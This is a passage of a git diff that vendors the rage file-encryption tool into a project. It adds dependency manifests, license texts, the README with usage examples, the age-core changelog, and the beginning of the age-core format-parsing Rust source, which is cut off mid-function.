+age-core = { version = "0.11.0", path = "age-core" } + +# Dependencies required by the age specification: +# - Base64 from RFC 4648 +base64 = "0.21" + +# - ChaCha20-Poly1305 from RFC 7539 +chacha20poly1305 = { version = "0.10", default-features = false, features = ["alloc"] } + +# - X25519 from RFC 7748 +x25519-dalek = { git = "https://github.com/dalek-cryptography/curve25519-dalek", tag = "curve25519-4.2.0", features = ["static_secrets"]} + +# - HKDF from RFC 5869 with SHA-256 +# - HMAC from RFC 2104 with SHA-256 +hkdf = "0.12" +hmac = "0.12" +sha2 = "0.10" + +# - scrypt from RFC 7914 +scrypt = { version = "0.11", default-features = false } + +# - CSPRNG +rand = "0.8" + +# - Key encoding +bech32 = "0.9" + +# Parsing +cookie-factory = "0.3.1" +nom = { version = "7", default-features = false, features = ["alloc"] } + +# Secret management +pinentry = "0.6" +secrecy = "0.10" +subtle = "2" +zeroize = "1" + +# Localization +i18n-embed = { version = "0.15", features = ["fluent-system"] } +i18n-embed-fl = "0.9" +lazy_static = "1" +rust-embed = "8" + +# CLI +chrono = "0.4" +clap = { version = "4.3", features = ["derive"] } +console = { version = "0.15", default-features = false } +env_logger = "0.10" +log = "0.4" diff --git a/lib/rage/LICENSE-APACHE b/lib/rage/LICENSE-APACHE new file mode 100644 index 0000000..1e5006d --- /dev/null +++ b/lib/rage/LICENSE-APACHE @@ -0,0 +1,202 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + +TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + +1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + +2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + +3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + +4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + +5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + +6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + +7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + +8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + +9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + +END OF TERMS AND CONDITIONS + +APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + +Copyright [yyyy] [name of copyright owner] + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. + diff --git a/lib/rage/LICENSE-MIT b/lib/rage/LICENSE-MIT new file mode 100644 index 0000000..c775f61 --- /dev/null +++ b/lib/rage/LICENSE-MIT @@ -0,0 +1,21 @@ +The MIT License (MIT) + +Copyright (c) 2019 Jack Grigg + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. diff --git a/lib/rage/README.md b/lib/rage/README.md new file mode 100644 index 0000000..fd12040 --- /dev/null +++ b/lib/rage/README.md @@ -0,0 +1,206 @@ +

The age logo, an wireframe of St. Peters dome in Rome, with the text: age, file encryption

+ +# rage: Rust implementation of age + +rage is a simple, modern, and secure file encryption tool, using the *age* +format. It features small explicit keys, no config options, and UNIX-style +composability. + +The format specification is at [age-encryption.org/v1](https://age-encryption.org/v1). +age was designed by [@Benjojo](https://benjojo.co.uk/) and +[@FiloSottile](https://bsky.app/profile/did:plc:x2nsupeeo52oznrmplwapppl). + +The reference interoperable Go implementation is available at +[filippo.io/age](https://filippo.io/age). + +Hardware PIV tokens such as YubiKeys are supported through the +[age-plugin-yubikey](https://github.com/str4d/age-plugin-yubikey) plugin. + +For more plugins, implementations, tools, and integrations, check out the +[awesome age](https://github.com/FiloSottile/awesome-age) list. + +## Installation + +| Environment | CLI command | +|-------------|-------------| +| Cargo (Rust 1.65+) | `cargo install rage` | +| Homebrew (macOS or Linux) | `brew install rage` | +| MacPorts | `port install rage` | +| Alpine Linux (edge) | `apk add rage` | +| Arch Linux | `pacman -S rage-encryption` | +| Debian | [Debian packages](https://github.com/str4d/rage/releases) | +| NixOS | Add to config: `environment.systemPackages = [ pkgs.rage ];`
Or run `nix-env -i rage` | +| openSUSE Tumbleweed | `zypper install rage-encryption` | +| Ubuntu 20.04+ | [Debian packages](https://github.com/str4d/rage/releases) | +| FreeBSD | `pkg install rage-encryption` | +| Scoop (Windows) | `scoop bucket add main`
`scoop install main/rage` | + +On Windows, Linux, and macOS, you can use the +[pre-built binaries](https://github.com/str4d/rage/releases). + +> Help from new packagers is very welcome. Please use the package name `rage`; +> the fallback package name `rage-encryption` should be used only when there are +> *unavoidable* name conflicts in package systems that use global namespaces. Do +> not rename any binaries; instead use your package system's conflicting package +> mechanism to prevent installation of both packages at once. + +## Usage + +``` +Usage: rage [--encrypt] (-r RECIPIENT | -R PATH)... [-i IDENTITY] [-a] [-o OUTPUT] [INPUT] + rage [--encrypt] --passphrase [-a] [-o OUTPUT] [INPUT] + rage --decrypt [-i IDENTITY] [-o OUTPUT] [INPUT] + +Arguments: + [INPUT] Path to a file to read from. + +Options: + -h, --help Print this help message and exit. + -V, --version Print version info and exit. + -e, --encrypt Encrypt the input (the default). + -d, --decrypt Decrypt the input. + -p, --passphrase Encrypt with a passphrase instead of recipients. + --max-work-factor Maximum work factor to allow for passphrase decryption. + -a, --armor Encrypt to a PEM encoded format. + -r, --recipient Encrypt to the specified RECIPIENT. May be repeated. + -R, --recipients-file Encrypt to the recipients listed at PATH. May be repeated. + -i, --identity Use the identity file at IDENTITY. May be repeated. + -j Use age-plugin-PLUGIN-NAME in its default mode as an identity. + -o, --output Write the result to the file at path OUTPUT. + +INPUT defaults to standard input, and OUTPUT defaults to standard output. +If OUTPUT exists, it will be overwritten. + +RECIPIENT can be: +- An age public key, as generated by rage-keygen ("age1..."). +- An SSH public key ("ssh-ed25519 AAAA...", "ssh-rsa AAAA..."). + +PATH is a path to a file containing age recipients, one per line +(ignoring "#" prefixed comments and empty lines). "-" may be used to +read recipients from standard input. + +IDENTITY is a path to a file with age identities, one per line +(ignoring "#" prefixed comments and empty lines), or to an SSH key file. +Passphrase-encrypted age identity files can be used as identity files. +Multiple identities may be provided, and any unused ones will be ignored. +"-" may be used to read identities from standard input. +``` + +### Multiple recipients + +Files can be encrypted to multiple recipients by repeating `-r/--recipient`. +Every recipient will be able to decrypt the file. + +```bash +$ rage -o example.png.age -r age1uvscypafkkxt6u2gkguxet62cenfmnpc0smzzlyun0lzszfatawq4kvf2u \ + -r age1ex4ty8ppg02555at009uwu5vlk5686k3f23e7mac9z093uvzfp8sxr5jum example.png +``` + +#### Recipient files + +Multiple recipients can also be listed one per line in one or more files passed +with the `-R/--recipients-file` flag. + +``` +$ cat recipients.txt +# Alice +age1ql3z7hjy54pw3hyww5ayyfg7zqgvc7w3j2elw8zmrj2kg5sfn9aqmcac8p +# Bob +age1lggyhqrw2nlhcxprm67z43rta597azn8gknawjehu9d9dl0jq3yqqvfafg +$ rage -R recipients.txt example.jpg > example.jpg.age +``` + +If the argument to `-R` (or `-i`) is `-`, the file is read from standard input. + +### Passphrases + +Files can be encrypted with a passphrase by using `-p/--passphrase`. By default +rage will automatically generate a secure passphrase. + +```bash +$ rage -p -o example.png.age example.png +Type passphrase (leave empty to autogenerate a secure one): [hidden] +Using an autogenerated passphrase: + kiwi-general-undo-bubble-dwarf-dizzy-fame-side-sunset-sibling +$ rage -d example.png.age >example.png +Type passphrase: [hidden] +``` + +If a binary named `pinentry` is available in `$PATH`, it will be used to ask the +user for a passphrase. The `PINENTRY_PROGRAM` environment variable can be used +to set the binary name or path to use. If a `pinentry` binary is not available, +or `PINENTRY_PROGRAM` is set to the empty string, `rage` will fall back to the +CLI instead. + +### Passphrase-protected identity files + +If an identity file passed to `-i/--identity` is a passphrase-encrypted age +file, it will be automatically decrypted. + +``` +$ rage -p -o key.age <(rage-keygen) +Public key: age1pymw5hyr39qyuc950tget63aq8vfd52dclj8x7xhm08g6ad86dkserumnz +Type passphrase (leave empty to autogenerate a secure one): [hidden] +Using an autogenerated passphrase: + flash-bean-celery-network-curious-flower-salt-amateur-fence-giant +$ rage -r age1pymw5hyr39qyuc950tget63aq8vfd52dclj8x7xhm08g6ad86dkserumnz secrets.txt > secrets.txt.age +$ rage -d -i key.age secrets.txt.age > secrets.txt +Type passphrase: [hidden] +``` + +Passphrase-protected identity files are not necessary for most use cases, where +access to the encrypted identity file implies access to the whole system. +However, they can be useful if the identity file is stored remotely. + +### SSH keys + +As a convenience feature, rage also supports encrypting to `ssh-rsa` and +`ssh-ed25519` SSH public keys, and decrypting with the respective private key +file. (`ssh-agent` is not supported.) + +``` +$ rage -R ~/.ssh/id_ed25519.pub example.png > example.png.age +$ rage -d -i ~/.ssh/id_ed25519 example.png.age > example.png +``` + +Note that SSH key support employs more complex cryptography, and embeds a public +key tag in the encrypted file, making it possible to track files that are +encrypted to a specific public key. + +### Feature flags + +When building with Cargo, you can configure rage using `--no-default-features` +and `--features comma,separated,flags` to enable or disable the following +feature flags: + +- `mount` enables the `rage-mount` tool, which can mount age-encrypted TAR or + ZIP archives as read-only. It is currently only usable on Unix systems, as it + relies on `libfuse`. + +- `ssh` (enabled by default) enables support for reusing existing SSH key files + for age encryption. + +- `unstable` enables in-development functionality. Anything behind this feature + flag has no stability or interoperability guarantees. + +## Rust Library + +Applications wishing to use rage as a library should use the [`age`](https://crates.io/crates/age) +crate, which rage is built on top of. + +## License + +Licensed under either of + + * Apache License, Version 2.0, ([LICENSE-APACHE](LICENSE-APACHE) or + http://www.apache.org/licenses/LICENSE-2.0) + * MIT license ([LICENSE-MIT](LICENSE-MIT) or http://opensource.org/licenses/MIT) + +at your option. + +### Contribution + +Unless you explicitly state otherwise, any contribution intentionally +submitted for inclusion in the work by you, as defined in the Apache-2.0 +license, shall be dual licensed as above, without any additional terms or +conditions. diff --git a/lib/rage/age-core/CHANGELOG.md b/lib/rage/age-core/CHANGELOG.md new file mode 100644 index 0000000..bd5699d --- /dev/null +++ b/lib/rage/age-core/CHANGELOG.md @@ -0,0 +1,125 @@ +# Changelog +All notable changes to the age-core crate will be documented in this file. + +The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), +and this project adheres to Rust's notion of +[Semantic Versioning](https://semver.org/spec/v2.0.0.html). All versions prior +to 1.0.0 are beta releases. + +## [Unreleased] + +## [0.11.0] - 2024-11-03 +### Added +- `age_core::format`: + - `FileKey::new` + - `FileKey::init_with_mut` + - `FileKey::try_init_with_mut` + - `is_arbitrary_string` + +### Changed +- Migrated to `secrecy 0.10`. +- `age::plugin::Connection::unidir_receive` now takes an additional argument to + enable handling an optional fourth command. + +## [0.10.0] - 2024-02-04 +### Added +- `impl Eq for age_core::format::Stanza` + +### Changed +- MSRV is now 1.65.0. + +## [0.9.0] - 2022-10-27 +### Changed +- MSRV is now 1.59.0. +- Migrated to `aead 0.5`. + +## [0.8.0] - 2022-05-02 +### Added +- `age_core::io::{DebugReader, DebugWriter}` +- `age_core::plugin::Error::Unsupported` +- `age_core::plugin::Reply::ok_with_metadata` + +### Changed +- MSRV is now 1.56.0. +- `age_core::plugin`: + - `Connection::open` now returns the debugging-friendly concrete type + `Connection, DebugWriter>`. + - `BidirSend::{send, send_stanza}` now return `Ok(Error::Unsupported)` when an + `unsupported` response is received, instead of `Err(io::Error)`, making it + easier for plugins to implement fallback strategies. + +## [0.7.1] - 2021-12-27 +### Fixed +- In 0.7.0, Base64 decoding was moved to the `AgeStanza::body` method, with the + stanza parser only checking for valid Base64 characters. This caused the + parser to start accepting stanzas with non-canonical last body lines (where + the Base64 encoding would have trailing bits that could not be decoded into + full bytes); calling `AgeStanza::body` on these stanzas would cause a panic. + This release fixes the parser to reject non-canonical last body lines, turning + the panic back into an error. + +## [0.7.0] - 2021-10-18 +### Added +- `age_core::secrecy`, which re-exports the `secrecy` crate. +- `age_core::plugin::Error` + +### Changed +- MSRV is now 1.51.0. +- The `body` property of `age_core::format::AgeStanza` has been replaced by the + `AgeStanza::body` method, to enable enclosing parsers to defer Base64 decoding + until the very end. +- `age_core::plugin::Result` now only takes a single generic argument, and uses + `age_core::plugin::Error` for its inner error type. + +## [0.6.0] - 2021-05-02 +### Security +- `age_core::primitives::aead_decrypt` now takes a `size` argument, checked + against the plaintext length. This is to mitigate multi-key attacks, where a + ciphertext can be crafted that decrypts successfully under multiple keys. + Short ciphertexts can only target two keys, which has limited impact. See + [this commit message](https://github.com/FiloSottile/age/commit/2194f6962c8bb3bca8a55f313d5b9302596b593b) + for more details. + +### Added +- `age_core::format::FILE_KEY_BYTES` constant. +- `age_core::plugin` module, which contains common backend logic used by both + the `age` library (to implement client support for plugins) and the + `age-plugin` library. + +### Changed +- The stanza prefix `-> ` and trailing newline are now formal parts of the age + stanza; `age_core::format::write::age_stanza` now includes them in its output, + and `age_core::format::read::age_stanza` expects them to be present. +- Stanza bodies are now canonically serialized with a short (empty if necessary) + last line. `age_core::format::write::age_stanza` outputs the new encoding, and + `age_core::format::read::age_stanza` accepts only the new encoding. The new + API `age_core::format::read::legacy_age_stanza` accepts either kind of stanza + body encoding (the legacy minimal encoding, and the new explicit encoding). + +## [0.5.0] - 2020-11-22 +### Added +- Several structs used when implementing the `age::Identity` and + `age::Recipient` traits: + - `age_core::format::FileKey` + - `age_core::format::Stanza` +- `age_core::format::grease_the_joint`, for generating a random valid recipient + stanza. No other guarantees are made about the stanza's fields. +- `age_core::primitives::{aead_decrypt, aead_encrypt, hkdf}`, to enable these + common primitives to be reused in plugins. + +### Changed +- MSRV is now 1.41.0. +- `age_core::format::write::age_stanza` now takes `args: &[impl AsRef]`. + +## [0.4.0] - 2020-03-25 +No changes; version bumped to keep it in sync with `age`. + +## [0.3.1] - 2020-02-11 +### Fixed +- Bumped dependencies to `cookie-factory ^0.3.1` to fix nightly builds. + +## [0.3.0] - 2020-02-09 +(relative to `age 0.2.0`) + +### Fixed +- Base64 padding is now correctly rejected by the age stanza parser. diff --git a/lib/rage/age-core/Cargo.toml b/lib/rage/age-core/Cargo.toml new file mode 100644 index 0000000..131a54d --- /dev/null +++ b/lib/rage/age-core/Cargo.toml @@ -0,0 +1,41 @@ +[package] +name = "age-core" +description = "[BETA] Common functions used across the age crates" +version = "0.11.0" +authors.workspace = true +repository.workspace = true +readme = "README.md" +license.workspace = true +edition.workspace = true +rust-version.workspace = true + +[package.metadata.docs.rs] +all-features = true +rustdoc-args = ["--cfg", "docsrs"] + +[badges] +maintenance = { status = "experimental" } + +[dependencies] +# Dependencies exposed in a public API: +# (Breaking upgrades to these require a breaking upgrade to this crate.) +chacha20poly1305.workspace = true +cookie-factory.workspace = true +io_tee = "0.1.1" +nom.workspace = true +secrecy.workspace = true + +# Dependencies used internally: +# (Breaking upgrades to these are usually backwards-compatible, but check MSRVs.) +base64.workspace = true +hkdf.workspace = true +rand.workspace = true +sha2.workspace = true +tempfile = { version = "3.2.0", optional = true } + +[features] +plugin = ["tempfile"] +unstable = [] + +[lib] +bench = false diff --git a/lib/rage/age-core/README.md b/lib/rage/age-core/README.md new file mode 100644 index 0000000..3f0ab02 --- /dev/null +++ b/lib/rage/age-core/README.md @@ -0,0 +1,24 @@ +# age-core Rust library + +This crate contains common structs and functions used across the `age` crates. + +You are probably looking for the [`age`](https://crates.io/crates/age) crate +itself. You should only need to directly depend on this crate if you are +implementing a custom recipient type. + +## License + +Licensed under either of + + * Apache License, Version 2.0, ([LICENSE-APACHE](../LICENSE-APACHE) or + http://www.apache.org/licenses/LICENSE-2.0) + * MIT license ([LICENSE-MIT](../LICENSE-MIT) or http://opensource.org/licenses/MIT) + +at your option. + +### Contribution + +Unless you explicitly state otherwise, any contribution intentionally +submitted for inclusion in the work by you, as defined in the Apache-2.0 +license, shall be dual licensed as above, without any additional terms or +conditions. diff --git a/lib/rage/age-core/src/format.rs b/lib/rage/age-core/src/format.rs new file mode 100644 index 0000000..f8f97dc --- /dev/null +++ b/lib/rage/age-core/src/format.rs @@ -0,0 +1,616 @@ +//! Core types and encoding operations used by the age file format. + +use base64::{prelude::BASE64_STANDARD_NO_PAD, Engine}; +use rand::{ + distributions::{Distribution, Uniform}, + thread_rng, RngCore, +}; +use secrecy::{ExposeSecret, ExposeSecretMut, SecretBox}; + +/// The prefix identifying an age stanza. +const STANZA_TAG: &str = "-> "; + +/// The length of an age file key. +pub const FILE_KEY_BYTES: usize = 16; + +/// A file key for encrypting or decrypting an age file. +pub struct FileKey(SecretBox<[u8; FILE_KEY_BYTES]>); + +impl FileKey { + /// Creates a file key using a pre-boxed key. + pub fn new(file_key: Box<[u8; FILE_KEY_BYTES]>) -> Self { + Self(SecretBox::new(file_key)) + } + + /// Creates a file key using a function that can initialize the key in-place. + pub fn init_with_mut(ctr: impl FnOnce(&mut [u8; FILE_KEY_BYTES])) -> Self { + Self(SecretBox::init_with_mut(ctr)) + } + + /// Same as [`Self::init_with_mut`], but the constructor can be fallible. + pub fn try_init_with_mut( + ctr: impl FnOnce(&mut [u8; FILE_KEY_BYTES]) -> Result<(), E>, + ) -> Result { + let mut file_key = SecretBox::new(Box::new([0; FILE_KEY_BYTES])); + ctr(file_key.expose_secret_mut())?; + Ok(Self(file_key)) + } +} + +impl ExposeSecret<[u8; FILE_KEY_BYTES]> for FileKey { + fn expose_secret(&self) -> &[u8; FILE_KEY_BYTES] { + self.0.expose_secret() + } +} + +/// A section of the age header that encapsulates the file key as encrypted to a specific +/// recipient. +/// +/// This is the reference type; see [`Stanza`] for the owned type. +#[derive(Debug)] +pub struct AgeStanza<'a> { + /// A tag identifying this stanza type. + pub tag: &'a str, + /// Zero or more arguments. + pub args: Vec<&'a str>, + /// The body of the stanza, containing a wrapped [`FileKey`]. + /// + /// Represented as the set of Base64-encoded lines for efficiency (so the caller can + /// defer the cost of decoding until the structure containing this stanza has been + /// fully-parsed). + body: Vec<&'a [u8]>, +} + +impl<'a> AgeStanza<'a> { + /// Decodes and returns the body of this stanza. + pub fn body(&self) -> Vec { + // An AgeStanza will always contain at least one chunk. + let (partial_chunk, full_chunks) = self.body.split_last().unwrap(); + + // This is faster than collecting from a flattened iterator. + let mut data = vec![0; full_chunks.len() * 64 + partial_chunk.len()]; + for (i, chunk) in full_chunks.iter().enumerate() { + // These chunks are guaranteed to be full by construction. + data[i * 64..(i + 1) * 64].copy_from_slice(chunk); + } + data[full_chunks.len() * 64..].copy_from_slice(partial_chunk); + + // The chunks are guaranteed to contain Base64 characters by construction. + BASE64_STANDARD_NO_PAD.decode(&data).unwrap() + } +} + +/// A section of the age header that encapsulates the file key as encrypted to a specific +/// recipient. +/// +/// This is the owned type; see [`AgeStanza`] for the reference type. +#[derive(Debug, PartialEq, Eq)] +pub struct Stanza { + /// A tag identifying this stanza type. + pub tag: String, + /// Zero or more arguments. + pub args: Vec, + /// The body of the stanza, containing a wrapped [`FileKey`]. + pub body: Vec, +} + +impl From> for Stanza { + fn from(stanza: AgeStanza<'_>) -> Self { + let body = stanza.body(); + Stanza { + tag: stanza.tag.to_string(), + args: stanza.args.into_iter().map(|s| s.to_string()).collect(), + body, + } + } +} + +/// Checks whether the string is a valid age "arbitrary string" (`1*VCHAR` in ABNF). +pub fn is_arbitrary_string>(s: &S) -> bool { + let s = s.as_ref(); + !s.is_empty() + && s.chars().all(|c| match u8::try_from(c) { + Ok(u) => (33..=126).contains(&u), + Err(_) => false, + }) +} + +/// Creates a random recipient stanza that exercises the joint in the age v1 format. +/// +/// This function is guaranteed to return a valid stanza, but makes no other guarantees +/// about the stanza's fields. +pub fn grease_the_joint() -> Stanza { + // Generate arbitrary strings between 1 and 9 characters long. + fn gen_arbitrary_string(rng: &mut R) -> String { + let length = Uniform::from(1..9).sample(rng); + Uniform::from(33..=126) + .sample_iter(rng) + .map(char::from) + .take(length) + .collect() + } + + let mut rng = thread_rng(); + + // Add a suffix to the random tag so users know what is going on. + let tag = format!("{}-grease", gen_arbitrary_string(&mut rng)); + + // Between this and the above generation bounds, the first line of the recipient + // stanza will be between eight and 66 characters. + let args = (0..Uniform::from(0..5).sample(&mut rng)) + .map(|_| gen_arbitrary_string(&mut rng)) + .collect(); + + // A length between 0 and 100 bytes exercises the following stanza bodies: + // - Empty + // - Single short-line + // - Single full-line + // - Two lines, second short + // - Two lines, both full + // - Three lines, last short + let mut body = vec![0; Uniform::from(0..100).sample(&mut rng)]; + rng.fill_bytes(&mut body); + + Stanza { tag, args, body } +} + +/// Decoding operations for age types. +pub mod read { + use nom::{ + branch::alt, + bytes::streaming::{tag, take_while1, take_while_m_n}, + character::streaming::newline, + combinator::{map, map_opt, opt, verify}, + multi::{many_till, separated_list1}, + sequence::{pair, preceded, terminated}, + IResult, + }; + + use super::{AgeStanza, STANZA_TAG}; + + fn is_base64_char(c: u8) -> bool { + // Check against the ASCII values of the standard Base64 character set. + matches!( + c, + // A..=Z | a..=z | 0..=9 | + | / + 65..=90 | 97..=122 | 48..=57 | 43 | 47, + ) + } + + /// Returns true if the byte is one of the specific ASCII values of the standard + /// Base64 character set which leave trailing bits when they occur as the last + /// character in an encoding of length 2 mod 4. + fn base64_has_no_trailing_bits_2(c: &u8) -> bool { + // With two trailing characters, the last character has up to four trailing bits. + matches!( + c, + // A | Q | g | w + 65 | 81 | 103 | 119, + ) + } + + /// Returns true if the byte is one of the specific ASCII values of the standard + /// Base64 character set which leave trailing bits when they occur as the last + /// character in an encoding of length 3 mod 4. + fn base64_has_no_trailing_bits_3(c: &u8) -> bool { + // With three trailing characters, the last character has up to two trailing bits. + matches!( + c, + // A | E | I | M | Q | U | Y | c | g | k | o | s | w | 0 | 4 | 8 + 65 | 69 | 73 | 77 | 81 | 85 | 89 | 99 | 103 | 107 | 111 | 115 | 119 | 48 | 52 | 56, + ) + } + + /// Reads an age "arbitrary string". + /// + /// From the age specification: + /// ```text + /// ... an arbitrary string is a sequence of ASCII characters with values 33 to 126. + /// ``` + pub fn arbitrary_string(input: &[u8]) -> IResult<&[u8], &str> { + map(take_while1(|c| (33..=126).contains(&c)), |bytes| { + // Safety: ASCII bytes are valid UTF-8 + unsafe { std::str::from_utf8_unchecked(bytes) } + })(input) + } + + fn wrapped_encoded_data(input: &[u8]) -> IResult<&[u8], Vec<&[u8]>> { + map( + many_till( + // Any body lines before the last MUST be full-length. + terminated(take_while_m_n(64, 64, is_base64_char), newline), + // Last body line: + // - MUST be short (empty if necessary). + // - MUST be a valid Base64 length (i.e. the length must not be 1 mod 4). + // - MUST NOT leave trailing bits (if the length is 2 or 3 mod 4). + verify( + terminated(take_while_m_n(0, 63, is_base64_char), newline), + |line: &[u8]| match line.len() % 4 { + 0 => true, + 1 => false, + 2 => base64_has_no_trailing_bits_2(line.last().unwrap()), + 3 => base64_has_no_trailing_bits_3(line.last().unwrap()), + // No other cases, but Rust wants an exhaustive match on u8. + _ => unreachable!(), + }, + ), + ), + |(full_chunks, partial_chunk): (Vec<&[u8]>, &[u8])| { + let mut chunks = full_chunks; + chunks.push(partial_chunk); + chunks + }, + )(input) + } + + fn legacy_wrapped_encoded_data(input: &[u8]) -> IResult<&[u8], Vec<&[u8]>> { + map_opt( + separated_list1(newline, take_while1(is_base64_char)), + |chunks: Vec<&[u8]>| { + // Enforce that the only chunk allowed to be shorter than 64 characters + // is the last chunk, and that its length must not be 1 mod 4. + let (partial_chunk, 